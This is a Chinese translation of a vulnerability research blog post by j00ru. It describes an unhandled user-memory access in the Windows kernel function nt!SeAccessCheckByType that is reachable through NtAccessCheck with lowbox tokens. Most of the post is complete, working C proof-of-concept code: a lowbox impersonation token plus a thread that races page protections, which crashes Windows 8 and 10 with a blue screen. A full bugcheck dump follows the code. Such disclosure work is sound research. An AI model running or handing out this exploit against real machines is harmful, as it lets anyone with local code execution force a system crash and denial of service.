这是这个系列的第四篇,大家可以看一下以前的三篇:
我们今天讨论的漏洞存在于内部的nt!SeAccessCheckByType
功能,通过三个系统调用可达:NtAccessCheck
,NtAccessCheckByType
和NtAccessCheckByTypeResultList
。所有从Windows 8开始的Windows版本都受到影响,这是由于相关代码区域特定于所谓的Lowbox
令牌(由AppContainers使用),这种机制在Windows 8中开始引入。与以前的问题相似,这个漏洞也是由Bochspwn样仪器发现的,这个漏洞由不安全地访问用户模式存储器(没有足够的异常处理来保护)引起的。
我们在漏洞利用中使用系统调用的NtAccessCheck
声明,如下所示:
NTSTATUS WINAPI NtAccessCheck( _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_ HANDLE ClientToken, _In_ ACCESS_MASK DesiredAccess, _In_ PGENERIC_MAPPING GenericMapping, _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, _Out_ PACCESS_MASK GrantedAccess, _Out_ PNTSTATUS AccessStatus );
nt!SeAccessCheckByType
工作知道它对由客户端应用程序提供的指针进行了操作,这可以由函数内部存在的try/except
结构的数量证明。可以通过查看写入本地SEH
帧的TryLevel
字段的标识来确定它们的精确数(EH3_EXCEPTION_REGISTRATION
结构):
可以看出,该函数共有10个try/except
块(标识符0-9),因此绝大多数用户模式内存引用被正确保护。但是,仍然有两个从进程内存中读取的指令,没有启用异常处理(例如,从Windows 10 1607 32位的ntoskrnl.exe
示例):
从上下文不清楚的是,EDX和EAX寄存器都将指向通过PNTSTATUS AccessStatus
syscall参数传入客户端指针的值。如果我们在上述代码上使用Hex-Rays
反编译器,则原始输出应如下所示:
在这里,不安全的访问通过引用
v43
和a11
变量来表示。代码区域似乎与日志记录有关(考虑到DoS#2的性质,这是一个有些常见的模式 ),并且两个受影响的指令是很难达到的,因为在上述if
语句中首先需要评估为TRUE
的条件。我们采取了几个步骤,以利用该错误并触发未处理的内核异常:
AccessStatus
内存区域的权限。像以前所有的情况一样,这是必要的,因为对用户模式变量的不安全访问不是函数中的第一个变量。实际上,对于具有2个或更多个内核的机器,此次攻击在<1秒以内就可以工作。NtCreateLowBoxToken
系统调用创建了一个lowbox
标记,以传递v22->TokenFlags & 0x4000
条件,这实际上检查了TOKEN_LOWBOX
标志。。ntdll!RtlCheckTokenMembershipEx
函数的行为,我们发现它们始终触发内核错误的代码。最后,我们总结了以下概念C代码的证明,这是以前的帖子提到的(主要是由于NT API声明),但是在Windows 8和10上都可以运行:
#include <Windows.h> #include <winternl.h> #include <sddl.h> #include <cstdio> extern "C" { NTSTATUS WINAPI NtCreateLowBoxToken( _Out_ HANDLE * LowBoxTokenHandle, _In_ HANDLE TokenHandle, _In_ ACCESS_MASK DesiredAccess, _In_ OBJECT_ATTRIBUTES * ObjectAttributes OPTIONAL, _In_ PSID PackageSid, _In_ ULONG CapabilityCount OPTIONAL, _In_ PSID_AND_ATTRIBUTES Capabilities OPTIONAL, _In_ ULONG HandleCount OPTIONAL, _In_ HANDLE * Handles OPTIONAL ); NTSTATUS WINAPI RtlCreateSecurityDescriptor( _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_ ULONG Revision ); NTSTATUS WINAPI RtlSetOwnerSecurityDescriptor( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID Owner, _In_opt_ BOOLEAN OwnerDefaulted ); NTSTATUS WINAPI RtlSetGroupSecurityDescriptor( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID Group, _In_opt_ BOOLEAN GroupDefaulted ); NTSTATUS WINAPI RtlCreateAcl( _Out_ PACL Acl, _In_ ULONG AclLength, _In_ ULONG AceRevision ); NTSTATUS WINAPI RtlAddAccessAllowedAce( _Inout_ PACL Acl, _In_ ULONG AceRevision, _In_ ACCESS_MASK AccessStatus, _In_ PSID Sid ); NTSTATUS WINAPI RtlSetDaclSecurityDescriptor( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_ BOOLEAN DaclPresent, _In_opt_ PACL Dacl, _In_opt_ BOOLEAN DaclDefaulted ); NTSTATUS WINAPI NtAccessCheck( _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_ HANDLE ClientToken, _In_ ACCESS_MASK DesiredAccess, _In_ PGENERIC_MAPPING GenericMapping, _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, _Out_ PACCESS_MASK GrantedAccess, _Out_ PNTSTATUS AccessStatus ); } // extern "C" namespace globals { PNTSTATUS AccessStatus; } // namespace globals DWORD ThreadRoutine(LPVOID lpParameter) { DWORD flOldProtect; // Indefinitely alternate between R/W and NOACCESS rights. while (1) { VirtualProtect(globals::AccessStatus, sizeof(NTSTATUS), PAGE_NOACCESS, &flOldProtect); VirtualProtect(globals::AccessStatus, sizeof(NTSTATUS), PAGE_READWRITE, &flOldProtect); } } VOID Cleanup(PSID Sid, HANDLE hToken, HANDLE hLowBoxToken, HANDLE hImpersonatedToken, PSID NtSid) { if (Sid != NULL) { LocalFree(Sid); } if (hToken != NULL) { CloseHandle(hToken); } if (hLowBoxToken != NULL) { CloseHandle(hLowBoxToken); } if (hImpersonatedToken != NULL) { CloseHandle(hImpersonatedToken); } if (NtSid != NULL) { LocalFree(NtSid); } } int main() { // Create a SID. WCHAR SidString[] = L"S-1-15-2-1-1-1-1-1-1-1"; PSID Sid = NULL; if (!ConvertStringSidToSid(SidString, &Sid)) { printf("ConvertStringSidToSid failed, %d\n", GetLastError()); return 1; } // Open the current process token. HANDLE hToken = NULL; OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); // Create a lowbox token based on the process token. OBJECT_ATTRIBUTES ObjectAttributes; InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); HANDLE hLowBoxToken = NULL; NTSTATUS st = NtCreateLowBoxToken(&hLowBoxToken, hToken, TOKEN_ALL_ACCESS, &ObjectAttributes, Sid, 0, NULL, 0, NULL); if (!NT_SUCCESS(st)) { printf("NtCreateLowBoxToken failed, %x\n", st); Cleanup(Sid, hToken, NULL, NULL, NULL); return 1; } // Create an impersonation token based on the lowbox one. HANDLE hImpersonatedToken = NULL; if (!DuplicateToken(hLowBoxToken, SecurityImpersonation, &hImpersonatedToken)) { printf("DuplicateToken failed, %d\n", GetLastError()); Cleanup(Sid, hToken, hLowBoxToken, NULL, NULL); return 1; } // Create an NT AUTHORITY sid. SID_IDENTIFIER_AUTHORITY NtSidAuth = SECURITY_NT_AUTHORITY; PSID NtSid; if (!AllocateAndInitializeSid(&NtSidAuth, 1, 4, 0, 0, 0, 0, 0, 0, 0, &NtSid)) { printf("AllocateAndInitializeSid failed, %d\n", GetLastError()); Cleanup(Sid, hToken, hLowBoxToken, hImpersonatedToken, NULL); return 1; } // Create a security descriptor based on the NT sid. SECURITY_DESCRIPTOR sc; BYTE acl[0xA0]; if ((st = RtlCreateSecurityDescriptor(&sc, 1), !NT_SUCCESS(st)) || (st = RtlSetOwnerSecurityDescriptor(&sc, NtSid, FALSE), !NT_SUCCESS(st)) || (st = RtlSetGroupSecurityDescriptor(&sc, NtSid, FALSE), !NT_SUCCESS(st)) || (st = RtlCreateAcl((PACL)acl, sizeof(acl), ACL_REVISION), !NT_SUCCESS(st)) || (st = RtlAddAccessAllowedAce((PACL)acl, ACL_REVISION, 1, NtSid), !NT_SUCCESS(st)) || (st = RtlSetDaclSecurityDescriptor(&sc, TRUE, (PACL)acl, FALSE), !NT_SUCCESS(st))) { printf("One of the Rtl functions failed during security description creation, %x\n", st); Cleanup(Sid, hToken, hLowBoxToken, hImpersonatedToken, NtSid); return 1; } // Allocate memory for the structure whose privileges are being flipped. globals::AccessStatus = (PNTSTATUS)VirtualAlloc(NULL, sizeof(NTSTATUS), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Create the racing thread. CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL); // // Run an infinite loop trying to trigger the unhandled exception. // GENERIC_MAPPING RtlpCheckTokenMembershipGenericMapping = { 0x20001, 0x20000, 0x20000, 0x1F0001 }; // Ripped from NTDLL.DLL. PRIVILEGE_SET PrivilegeSet; DWORD PrivilegeSetLength = sizeof(PrivilegeSet); ACCESS_MASK GrantedAccess; while (1) { NtAccessCheck(&sc, hImpersonatedToken, 1, &RtlpCheckTokenMembershipGenericMapping, &PrivilegeSet, &PrivilegeSetLength, &GrantedAccess, globals::AccessStatus); } return 0; }
启动程序立即产生以下蓝屏死亡:
完整的崩溃摘要:
KMODE_EXCEPTION_NOT_HANDLED (1e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 81504096, The address that the exception occurred at Arg3: 00000000, Parameter 0 of the exception Arg4: 005a0000, Parameter 1 of the exception Debugging Details: ------------------ EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: nt!SeAccessCheckByType+706 81504096 833800 cmp dword ptr [eax],0 EXCEPTION_PARAMETER2: 005a0000 BUGCHECK_STR: 0x1E_c0000005_R DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT PROCESS_NAME: AccessCheck.ex CURRENT_IRQL: 0 ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre EXCEPTION_RECORD: 86bf9938 -- (.exr 0xffffffff86bf9938) ExceptionAddress: 81504096 (nt!SeAccessCheckByType+0x00000706) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 005a0000 Attempt to read from address 005a0000 TRAP_FRAME: 86bf9a14 -- (.trap 0xffffffff86bf9a14) ErrCode = 00000000 eax=005a0000 ebx=00000001 ecx=8e087200 edx=00000000 esi=8a32ec00 edi=00000000 eip=81504096 esp=86bf9a88 ebp=86bf9bbc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!SeAccessCheckByType+0x706: 81504096 833800 cmp dword ptr [eax],0 ds:0023:005a0000=c0000022 Resetting default scope LAST_CONTROL_TRANSFER: from 8161b491 to 815a0ee4 STACK_TEXT: 86bf8f64 8161b491 00000003 b4954df8 00000065 nt!RtlpBreakWithStatusInstruction 86bf8fb8 8161aede 86b7f340 86bf93d8 86bf940c nt!KiBugCheckDebugBreak+0x1f 86bf93ac 8159fd3a 0000001e c0000005 81504096 nt!KeBugCheck2+0x73a 86bf93d0 8159fc71 0000001e c0000005 81504096 nt!KiBugCheck2+0xc6 86bf93f0 8164c18a 0000001e c0000005 81504096 nt!KeBugCheckEx+0x19 86bf940c 815b3552 86bf9938 816bd328 86bf9500 nt!KiFatalExceptionHandler+0x1a 86bf9430 815b3524 86bf9938 816bd328 86bf9500 nt!ExecuteHandler2+0x26 86bf94f0 814a86b1 86bf9938 86bf9500 00010037 nt!ExecuteHandler+0x24 86bf991c 815aeee5 86bf9938 00000000 86bf9a14 nt!KiDispatchException+0x127 86bf9988 815b17e7 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51 86bf9988 81504096 00000000 00000000 00000000 nt!KiTrap0E+0x1a7 86bf9bbc 81553419 00000001 00000001 00000000 nt!SeAccessCheckByType+0x706 86bf9bec 815ae127 00a5f9ec 00000078 00000001 nt!NtAccessCheck+0x29 86bf9bec 770c4d50 00a5f9ec 00000078 00000001 nt!KiSystemServicePostCall 00a5f7fc 770c102a 008e1601 00a5f9ec 00000078 ntdll!KiFastSystemCallRet 00a5f800 008e1601 00a5f9ec 00000078 00000001 ntdll!NtAccessCheck+0xa
就是这样。:)感谢您的阅读,下次再见!
*作者:j00ru,MottoIN小编编译发布,